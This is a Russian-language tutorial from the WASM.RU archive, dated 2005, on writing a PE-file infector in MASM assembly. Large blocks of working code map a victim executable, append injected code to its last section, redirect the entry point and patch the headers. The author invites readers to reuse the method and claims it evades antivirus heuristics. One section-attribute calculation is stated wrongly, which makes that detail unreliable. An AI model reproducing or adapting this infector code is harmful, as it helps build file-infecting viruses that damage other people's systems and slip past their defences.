Инфектор PE-файлов — Архив WASM.RU
Введение
Добрый вечер дамы и господа! Если вы читаете этот документ, то вы наверное прочитали знакомые слова в названии статьи или вы новичок и хотите узнать больше о компьютерной вирусологии. А может Вы просто щелкнули на ссылку в броузере из-за любопытства. Ну ладно, не будет превращать эту статью в низкосортное литературное произведение, и перейдем ближе к делу. В этой статье мы напишем инфектор-PE файлов. Эта статья описывает: во-первых, как заражать исполняемые файлы(PE - Portable Executable) в операционной системе Windows, во-вторых, процесс создания Windows-приложений на ассемблере, в-третьих, некоторые системные механизмы ОС семейства Windows. Эта статья не претендует на оригинальность, а просто, возможно, добавит Вам некоторые новые знания в области операционных систем Windows. Мы создадим пользовательский интерфейс для нашего инфектора, и опишем действия которые нужны для заражения PE-файлов. Инфектор, возможно, не учитывает всех тонкостей, но этот материал даст Вам пищу для размышлений.
Способ заражения
Заражать файл мы будем с помощью метода добавления кода в последнюю секцию. Это не оригинальный способ, но он реально работает, и Вы можете его использовать в своих работах, несколько модифицировав. Как Вы знаете, в PE-файле есть секции, которые содержат материал для приложения, т.е. код, данные, ресурсы, информация для отладчика, информация о базовых поправках, таблица импорта/экспорта и т.д. Принципиально секции различаются по атрибутам. Т.е. например секция .text(для компиляторов от Microsoft), которая содержит код для исполнения приложением, имеет атрибуты: Code, Executable, Readable. Так же и все остальные секции. Секции которые содержаться в PE-файле описываются в таблице секций. Это массив структур, в которых содержится вся необходимая информация о секции. Это кратко о секциях. Мы просто ищем в таблице секций максимальное смещение секции в файле(!). В конец этой секции мы записываем наш код, а также с учетом файлового смещения(File Alignment) забиваем нулями остальное место. После того как наш код вставлен необходимо модифицировать таблицу секций, а также сам заголовок PE-файла(PE header). Вот действия по шагам, которые Вам надо сделать, чтобы заразить PE-файл:
- Находим последнюю секцию виртуально и физически.
- Проверка, не равен ли размер последней секции нулю.
- Если нет, то записываем в конец секции код вируса.
- Выравниваем новую секцию с учетом файлового выравнивания.
- Правим виртуальный и физический размеры секций.
- Правим точку входа.
- Правим размер образа - ImageSize=VirtualSize+VirtualAddress
- Правим - характеристики - на 0А0000020h
Чтобы что-то записывать в исполняемый файл я буду использовать файловую проекцию(FileMapping). File Mapping - это механизм позволяющий работать с файлом как будто он находиться в оперативной памяти. Мы записываем данные в память, а на самом деле мы записываем их в файл. Этот механизм достаточно широко используется при программировании приложений для Windows, а также его использует сама ОС, например при запуске исполняемого файла на выполнение (функцией CreateProcess(…)). Файловый мэппинг используется как механизм для связи между процессами, если создать общий раздел памяти.
Обеспечиваем доступ к данным в файле
Давайте же приступим, наконец, к кодированию. У нас есть файл PE-формата. И Вы, естественно, должны знать структуру PE-файла. Вкратце рассмотрим этот формат. Вот его общая структура (взята из книги Мета Питрека "Секреты системного программирования для Windows 95"):
Исчерпывающие определения структур вы найдете в файле WINNT.H. Названия структур в WINNT.H, которые соответствуют структурам PE-файла:
IMAGE_DOS_HEADER - DOS .EXE header
IMAGE_FILE_HEADER - файловый заголовок
IMAGE_OPTIONAL_HEADER - опциональный заголовок. Опциональным называется потому, что при создании PE-формата разработчики предполагали, что структура этого заголовка будет варьироваться от разных реализаций. "Опциональный" не означает, что он может быть, а может и не быть, как считают некоторые.
IMAGE_SECTION_HEADER - элемент, в таблице секций который, описывает каждую секцию в исполняемом файле.
Если Вас интересуют какие-то поля, то смотрите их в заголовочном файле WINNT.H.
Для заражения мы проецируем файл-жертву в память с помощью моей любимой функции CreateFileMapping:
Код (Text):
invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE, \ FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL ;открываем файл для проецирования ;с помощью функции CreateFile указываем на каком носителе находиться файл .IF eax==INVALID_HANDLE_VALUE ;если файла нет, то выходим jmp error .ENDIF mov hFileTo,eax;хэндл файла в hFileTo invoke GetFileSize,hFileTo,NULL;получить размер exe файла mov edi,eax invoke GetFileSize,hFileFrom,NULL ;получить размер файла, где находиться код для заражения add eax,7;7 байт занимает код для восстановления в точку входа mov ecx,eax;код далее высчитывает размер нового файла с учетом размера ;внедряемого кода и файлового выравнивания mov ebx,4096 dec ebx add ecx,ebx not ebx and ecx,ebx; add edi,ecx;в еcx теперь размер файла с учетом вставки нового кода ;формула для вычисления размера с учетом выравнивания ; (x+(y-1))&(~(y-1)), где x -;размер без выравнивания, ; y - выравнивающий фактор invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL ;создаем проекцию файла для чтения и записи .IF eax==NULL jmp error .ENDIF mov hFileMappingTo,eax invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0 ;передаем физическую ;память для данного файла в память .IF eax==NULL jmp error .ENDIF mov hMappingTo,eax ;адрес в адресном пространстве текущего процесс для ;спроецируемого файла в hMappingToЗдесь надо немного пояснить код, если Вы вдруг чего-нибудь не поняли. С проецированием должно быть все понятно. Важно учитывать, что инфектор должен восстанавливать точку входа, т.е. после выполнения Вашего внедренного кода, код должен прыгнуть на нормальную точку входа программы. 7 байт занимает этот прыжок. Расширение последней секции происходит, учитывая файловое выравнивание. Формула для быстрого подсчета размера с учетом выравнивания дана в комментариях к коду. Например, у Вас есть значение 1322, а выравнивающий фактор 400, то выровненное значение будет равно 1600. При передаче физической памяти, передаем весь файл полностью. После этого кода, по адресу обозначенному меткой hMappingTo будет находиться виртуальный адрес начала exe-файла-жертвы. Файл, откуда берется код для заражения также проецируется, но вы могли взять данные для заражения каким-либо другим способом. Это же относиться и к файлу-жертве.
Путешествуем по PE файлу и вылавливаем нужные для нас данные
Здесь мы будем вылавливать данные из файлового и опционального заголовка, нужные нам для заражения. Вот что нам необходимо: количество секций, адрес точки входа, выравнивающий фактор, адрес размера образа, база образа, точка входа, указатель на характеристики секции, указатель на характеристики последней секции, размеры(!) секции. Если вы видите, что лишняя переменная выделена, например адрес точки входа и точка входа, то это было сделано сознательно для более лучшего усвоения материала, более четкой структурированности. Естественно, Вы можете улучшить этот код, оптимизируя его или подстраивая его под свои требования. После получения нужных данных проходим по таблице секций и ищем секцию с максимальным физическим смещением в файле(!).
Код (Text):
;------------------------Работа с PE-заголовком------------ ;-получаем количество секций и проходим до опционального заголовка- mov edi,hMappingTo assume edi:ptr IMAGE_DOS_HEADER add edi,[edi].e_lfanew;в edi - PE заголовок add edi,4;в edi - адрес файлового заголовка assume edi:ptr IMAGE_FILE_HEADER push [edi].NumberOfSections pop NumberOfSections add edi,sizeof IMAGE_FILE_HEADER ;в edi - адрес опционального ; заголовка assume edi:ptr IMAGE_OPTIONAL_HEADER ;-----получаем VA точки входа чтобы потом ее перебить mov EntryPoint,edi add EntryPoint,16 ;-----получаем выравнивание секций push [edi].FileAlignment pop FileAlignment ;-----получаем адрес ImageSize mov pImageSize,edi add pImageSize,56 ;-----получаем базу PE-файла push [edi].ImageBase pop Base ;-----получаем точку входа push [edi].AddressOfEntryPoint pop Point ;-----переходим в таблицу секций и ищем последнюю секцию add edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций assume edi:ptr IMAGE_SECTION_HEADER mov MaxOffset,0 xor ecx,ecx mov cx,NumberOfSections .WHILE ecx>0 ;цикл поиска смещения в файле последней секции. ;на выходе в MaxOffset - смещение относительно ;начала файла последней секции mov eax,MaxOffset .IF [edi].PointerToRawData>eax ;если размер этой секции ;больше предыдущего, то… push [edi].PointerToRawData pop MaxOffset;смещение в файле push [edi].SizeOfRawData pop SizeOfLastSection;размер последней секции mov pSizeOfLastSection,edi add pSizeOfLastSection,16;указатель на характеристики mov pVSizeOfLastSection,edi add pVSizeOfLastSection,8;указатель на виртуальный размер mov eax,[edi].VirtualAddress mov esi,[edi].SizeOfRawData add eax,esi;в eax размер секции с учетом выравнивания mov SizeOfRawData,eax mov eax,[edi].VirtualAddress;виртуальный адрес в eax mov VirtualAdd,eax mov pCharacters,edi add pCharacters,36;адрес характеристик последней секции .ENDIF add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции dec ecx .ENDW ;------------------------End Работа с PE-заголовком------------ mov edi,pSizeOfLastSection ; проверяем, не нулевая ли ; последняя секция? mov eax,dword ptr [edi]; размер секции в eax .IF eax==0 invoke MessageBox,0,offset SectionError,offset ErrorTitle,0 .ENDIFВ таблице секций, VirtualSize соответствует размеру секции без выравнивания, а SizeOfRawData с учетом файлового выравнивания. По-моему, название VirtualSize выбрано не очень подходящее. На выходе из этого кода в MaxOffset получаем смещение последней секции.
Внедряем код
Код мы будем внедрять из области памяти в которую был спроецирован файл с данными. Команды для внедрения Вы должны сформировать самостоятельно в шелл-код стиле. Сразу после окончания Вашего кода инфектор добавляет инструкцию перехода на нормальную точку входа программы. Эта инструкция занимает 7 байт памяти. Запись кода производиться не с конца кода последней секции, а со смещения кратного файловому смещению. Этим ходом мы и обманываем современные антивирусы и соответственно их эвристические анализаторы. Для Вас задание: сделать этот код в 2 раза короче. Это возможно.
Код (Text):
;----------------внедряем код--------------- cld mov edi,hMappingTo mov eax,MaxOffset add eax,SizeOfLastSection add edi,eax;в edi - конец последней секции, ; т.е адрес с которого начинать запись mov esi,hMappingFrom; в hMappingFrom - адрес ; кода который нужно записать invoke GetFileSize,hFileFrom,NULL mov ecx,eax rep movsb;внедряем код mov esi,offset code mov eax,dword ptr [esi] mov dword ptr [edi],eax inc esi inc edi mov eax,Base add eax,Point mov dword ptr [edi],eax add edi,4 add esi,4 mov eax,dword ptr [esi] mov dword ptr [edi],eax inc edi inc esi mov eax,dword ptr [esi] mov dword ptr [edi],eax inc edi inc esi mov eax,dword ptr [esi] mov dword ptr [edi],eaxДалее заполняем нулями оставшуюся часть памяти, учитывая опять же смещение:
Код (Text):
;--это типа для заполнения нулями оставшейся части ;--для учета FileAlignment---- invoke GetFileSize,hFileFrom,NULL add eax,7 mov ecx,eax mov ebx,FileAlignment dec ebx add ecx,ebx not ebx and ecx,ebx;ecx=(x+(y-1))&(~(y-1)) mov esi,edi add edi,ecx sub edi,eax .WHILE 1 mov byte ptr [esi],0 inc esi .IF esi==edi .BREAK .ENDIF .ENDWВот и все код внедрен, осталось поправить некоторые значения в PE-файле.
Код (Text):
;-----записываем новый размер последней секции mov eax,MaxOffset add eax,hMappingTo sub edi,eax mov esi,pSizeOfLastSection mov [esi],edi;записываем новый размер секции в ;таблицу секций mov esi,pVSizeOfLastSection mov ecx,[esi] mov ebx,FileAlignment dec ebx add ecx,ebx not ebx and ecx,ebx;ecx=(x+(y-1))&(~(y-1)) mov dword ptr [esi],ecx invoke GetFileSize,hFileFrom,NULL;виртуальный размер ; - размер секции без файлового выравнивания add eax,7 add [esi],eax;записывает виртуальный размер секции mov eax,dword ptr [esi] push eax mov esi,EntryPoint mov eax,SizeOfRawData mov [esi],eax;меняем точку входа pop eax mov esi,pImageSize mov edi,ImageSize add edi,eax mov [esi],edi;изменяем ImageSize mov esi,pCharacters mov dword ptr [esi],0A0000020h;правим характеристики ;секцииВсе изменяемые поля тривиальны и говорят сами за себя, кроме Characteristics. Это атрибуты секций. Вот список возможных атрибутов:
#define IMAGE_SCN_CNT_CODE 0x00000020 // Секция содержит код
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 //Секция содержит инициализированные данные
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 //Секция содержит //неинициализированные данные
#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // Секция содержит расширенные поправки
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Секция может быть игнорирована
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // Секция не кешируема
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 //Секция не сбрасывается в страничный файл
#define IMAGE_SCN_MEM_SHARED 0x10000000 // Общая секция
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 //Секция выполняемая
#define IMAGE_SCN_MEM_READ 0x40000000 // Секция для чтения
#define IMAGE_SCN_MEM_WRITE 0x80000000 //Секция для записи
Мы устанавливаем следующие атрибуты - Секция содержит код, для чтения и для записи:
Код (Text):
0x00000020+ 0x40000000+ 0x80000000= 0xa0000020Программа PeInfector (учебно-тестовая программа, демонстрирующая вышеописанные технологии
Здесь содержится полный код инфектора. Сначала создается окно. Когда окну посылается сообщение WM_CREATE, то на нем создается три кнопки и два edit-бокса. Программа использует директивы masm32 и соответственно предназначена для его компилятора.
Компиляция
© Bill/TPOC 2005Код (Text):
\masm32\bin\ml.exe /c /coff work.asm \masm32\bin\link.exe /SUBSYSTEM:WINDOWS work.obj
Инфектор PE-файлов
Дата публикации 10 мар 2005